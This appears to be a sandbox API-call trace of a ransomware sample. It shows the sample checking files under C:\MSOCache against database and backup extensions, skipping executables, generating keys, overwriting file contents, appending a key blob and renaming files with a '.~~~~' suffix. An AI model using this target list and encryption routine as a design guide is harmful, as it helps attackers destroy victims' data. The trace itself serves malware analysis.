	[0076.423] lstrlenW (lpString=".DTXS") returned 5
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0076.423] lstrlenW (lpString=".ckp") returned 4
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0076.423] lstrlenW (lpString=".dbt") returned 4
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0076.423] lstrlenW (lpString=".db") returned 3
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0076.423] lstrlenW (lpString=".TXT") returned 4
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0076.423] lstrlenW (lpString=".MDF") returned 4
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0076.423] lstrlenW (lpString=".bdb") returned 4
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0076.423] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a3178
	[0076.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.423] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0076.425] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.425] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.425] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19641529976) returned 1
	[0076.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x977373f0, dwHighDateTime=0x1d60e1e)) 
	[0076.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3418
	[0076.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3418 | out: hHeap=0x300000) returned 1
	[0076.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7ed0
	[0076.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ed0 | out: hHeap=0x300000) returned 1
	[0076.426] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.426] GetLastError () returned 0x0
	[0076.426] GetLastError () returned 0x0
	[0076.426] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.426] GetLastError () returned 0x0
	[0076.426] GetLastError () returned 0x0
	[0076.426] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x2488, lpOverlapped=0x0) returned 1
	[0076.428] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffdb78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.428] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x2488, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x2488, lpOverlapped=0x0) returned 1
	[0076.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.429] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.429] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.429] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.429] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.429] CloseHandle (hObject=0x11c) returned 1
	[0076.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a43e0
	[0076.429] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0076.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a43e0 | out: hHeap=0x300000) returned 1
	[0076.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.430] GetLastError () returned 0x0
	[0076.430] RtlWakeConditionVariable () returned 0x365f70
	[0076.430] GetCurrentThreadId () returned 0x3a4
	[0076.430] GetCurrentThreadId () returned 0x3a4
	[0076.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0076.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa268 | out: hHeap=0x300000) returned 1
	[0076.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3450 | out: hHeap=0x300000) returned 1
	[0076.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa268
	[0076.430] lstrlenW (lpString=".scr") returned 4
	[0076.430] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".scr") returned 0x0
	[0076.430] lstrlenW (lpString=".cmd") returned 4
	[0076.430] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".cmd") returned 0x0
	[0076.431] lstrlenW (lpString=".dll") returned 4
	[0076.431] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".dll") returned 0x0
	[0076.431] lstrlenW (lpString=".bat") returned 4
	[0076.431] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".bat") returned 0x0
	[0076.431] lstrlenW (lpString=".cpl") returned 4
	[0076.431] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".cpl") returned 0x0
	[0076.431] lstrlenW (lpString=".sys") returned 4
	[0076.431] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".sys") returned 0x0
	[0076.431] lstrlenW (lpString=".msc") returned 4
	[0076.431] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".msc") returned 0x0
	[0076.431] lstrlenW (lpString=".com") returned 4
	[0076.431] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".com") returned 0x0
	[0076.431] lstrlenW (lpString=".lnk") returned 4
	[0076.431] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".lnk") returned 0x0
	[0076.431] lstrlenW (lpString=".msp") returned 4
	[0076.431] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".msp") returned 0x0
	[0076.431] lstrlenW (lpString=".pif") returned 4
	[0076.431] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".pif") returned 0x0
	[0076.431] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.431] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch="msp\r\n.pif") returned 0x0
	[0076.431] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.431] lstrlenW (lpString=".sqb") returned 4
	[0076.431] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".sqb") returned 0x0
	[0076.431] lstrlenW (lpString=".ost") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".ost") returned 0x0
	[0076.432] lstrlenW (lpString=".txt") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".txt") returned 0x0
	[0076.432] lstrlenW (lpString=".mdt") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".mdt") returned 0x0
	[0076.432] lstrlenW (lpString=".BDB") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".BDB") returned 0x0
	[0076.432] lstrlenW (lpString=".eql") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".eql") returned 0x0
	[0076.432] lstrlenW (lpString=".DBF") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".DBF") returned 0x0
	[0076.432] lstrlenW (lpString=".EQL") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".EQL") returned 0x0
	[0076.432] lstrlenW (lpString=".FDB") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".FDB") returned 0x0
	[0076.432] lstrlenW (lpString=".EDB") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".EDB") returned 0x0
	[0076.432] lstrlenW (lpString=".DACPAC") returned 7
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".DACPAC") returned 0x0
	[0076.432] lstrlenW (lpString=".VHD") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".VHD") returned 0x0
	[0076.432] lstrlenW (lpString=".DBV") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".DBV") returned 0x0
	[0076.432] lstrlenW (lpString=".dacpac") returned 7
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".dacpac") returned 0x0
	[0076.432] lstrlenW (lpString=".sdf") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".sdf") returned 0x0
	[0076.432] lstrlenW (lpString=".accdb") returned 6
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".accdb") returned 0x0
	[0076.432] lstrlenW (lpString=".DBX") returned 4
	[0076.432] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".DBX") returned 0x0
	[0076.432] lstrlenW (lpString=".MDT") returned 4
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".MDT") returned 0x0
	[0076.433] lstrlenW (lpString=".SQB") returned 4
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".SQB") returned 0x0
	[0076.433] lstrlenW (lpString=".vhd") returned 4
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".vhd") returned 0x0
	[0076.433] lstrlenW (lpString=".bac") returned 4
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".bac") returned 0x0
	[0076.433] lstrlenW (lpString=".mdf") returned 4
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".mdf") returned 0x0
	[0076.433] lstrlenW (lpString=".BAK") returned 4
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".BAK") returned 0x0
	[0076.433] lstrlenW (lpString=".BAC") returned 4
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".BAC") returned 0x0
	[0076.433] lstrlenW (lpString=".dbs") returned 4
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".dbs") returned 0x0
	[0076.433] lstrlenW (lpString=".vhdx") returned 5
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".vhdx") returned 0x0
	[0076.433] lstrlenW (lpString=".NDF") returned 4
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".NDF") returned 0x0
	[0076.433] lstrlenW (lpString=".dat") returned 4
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".dat") returned 0x0
	[0076.433] lstrlenW (lpString=".DBS") returned 4
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".DBS") returned 0x0
	[0076.433] lstrlenW (lpString=".CKP") returned 4
	[0076.433] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".CKP") returned 0x0
	[0076.433] lstrlenW (lpString=".edb") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".edb") returned 0x0
	[0076.434] lstrlenW (lpString=".PST") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".PST") returned 0x0
	[0076.434] lstrlenW (lpString=".dbf") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".dbf") returned 0x0
	[0076.434] lstrlenW (lpString=".SQL") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".SQL") returned 0x0
	[0076.434] lstrlenW (lpString=".pst") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".pst") returned 0x0
	[0076.434] lstrlenW (lpString=".dbv") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".dbv") returned 0x0
	[0076.434] lstrlenW (lpString=".SDF") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".SDF") returned 0x0
	[0076.434] lstrlenW (lpString=".dtxs") returned 5
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".dtxs") returned 0x0
	[0076.434] lstrlenW (lpString=".db3") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".db3") returned 0x0
	[0076.434] lstrlenW (lpString=".OST") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".OST") returned 0x0
	[0076.434] lstrlenW (lpString=".dbx") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".dbx") returned 0x0
	[0076.434] lstrlenW (lpString=".DB3") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".DB3") returned 0x0
	[0076.434] lstrlenW (lpString=".DAT") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".DAT") returned 0x0
	[0076.434] lstrlenW (lpString=".VHDX") returned 5
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".VHDX") returned 0x0
	[0076.434] lstrlenW (lpString=".ndf") returned 4
	[0076.434] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".ndf") returned 0x0
	[0076.434] lstrlenW (lpString=".DB") returned 3
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".DB") returned 0x0
	[0076.435] lstrlenW (lpString=".sql") returned 4
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".sql") returned 0x0
	[0076.435] lstrlenW (lpString=".MYD") returned 4
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".MYD") returned 0x0
	[0076.435] lstrlenW (lpString=".DBT") returned 4
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".DBT") returned 0x0
	[0076.435] lstrlenW (lpString=".ACCDB") returned 6
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".ACCDB") returned 0x0
	[0076.435] lstrlenW (lpString=".fdb") returned 4
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".fdb") returned 0x0
	[0076.435] lstrlenW (lpString=".bak") returned 4
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".bak") returned 0x0
	[0076.435] lstrlenW (lpString=".myd") returned 4
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".myd") returned 0x0
	[0076.435] lstrlenW (lpString=".DTXS") returned 5
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".DTXS") returned 0x0
	[0076.435] lstrlenW (lpString=".ckp") returned 4
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".ckp") returned 0x0
	[0076.435] lstrlenW (lpString=".dbt") returned 4
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".dbt") returned 0x0
	[0076.435] lstrlenW (lpString=".db") returned 3
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".db") returned 0x0
	[0076.435] lstrlenW (lpString=".TXT") returned 4
	[0076.435] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".TXT") returned 0x0
	[0076.435] lstrlenW (lpString=".MDF") returned 4
	[0076.436] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".MDF") returned 0x0
	[0076.436] lstrlenW (lpString=".bdb") returned 4
	[0076.436] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".bdb") returned 0x0
	[0076.436] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.436] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a3178
	[0076.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.436] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0076.437] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.437] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.437] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19642720959) returned 1
	[0076.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9775d550, dwHighDateTime=0x1d60e1e)) 
	[0076.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
